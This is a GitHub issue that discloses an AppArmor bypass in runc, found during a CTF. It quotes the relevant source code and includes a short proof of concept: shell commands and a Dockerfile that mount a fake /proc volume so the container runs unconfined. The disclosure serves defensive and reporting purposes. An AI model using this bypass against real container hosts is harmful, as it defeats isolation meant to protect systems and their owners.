-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Description
A malicious volume can specify a volume mount on /proc
. Since Docker populates the volume by copying data present in the image, it's possible to build a fake structure that will trick runc into believing it had successfully written to /proc/self/attr/exec
:
runc/libcontainer/apparmor/apparmor.go
Lines 23 to 25 in 7507c64
// Under AppArmor you can only change your own attr, so use /proc/self/ | |
// instead of /proc/<tid>/ like libapparmor does | |
path := fmt.Sprintf("/proc/self/attr/%s", attr) |
This is possible because apparmor.ApplyProfile is executed in the container rootfs, after pivot_root in prepareRootfs:
runc/libcontainer/standard_init_linux.go
Lines 115 to 117 in 7507c64
if err := apparmor.ApplyProfile(l.config.AppArmorProfile); err != nil { | |
return errors.Wrap(err, "apply apparmor profile") | |
} |
checkMountDestinations is supposed to prevent mounting on top of /proc
:
runc/libcontainer/rootfs_linux.go
Lines 464 to 469 in 7507c64
// checkMountDestination checks to ensure that the mount destination is not over the top of /proc. | |
// dest is required to be an abs path and have any symlinks resolved before calling this function. | |
func checkMountDestination(rootfs, dest string) error { | |
invalidDestinations := []string{ | |
"/proc", | |
} |
... but the check does not work. I believe the reason is that the dest
argument is resolved to an absolute path using securejoin.SecureJoin
(before pivot_root), unlike the blacklist in checkMountDestinations, which is relative to the rootfs:
runc/libcontainer/rootfs_linux.go
Lines 414 to 419 in 7507c64
if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil { | |
return err | |
} | |
if err := checkMountDestination(rootfs, dest); err != nil { | |
return err | |
} |
Minimal proof of concept (on Ubuntu 18.04):
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
EOF
docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default" apparmor-bypass
# container runs unconfined
Not a critical bug on its own, but should get a CVE assigned.
Discovered by Adam Iwaniuk and disclosed during DragonSector CTF (https://twitter.com/adam_iwaniuk/status/1175741830136291328).
The CTF challenge mounted a file to /flag-<random>
and denied access to it using an AppArmor policy. The bug could then be used to disable the policy and read the file: https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a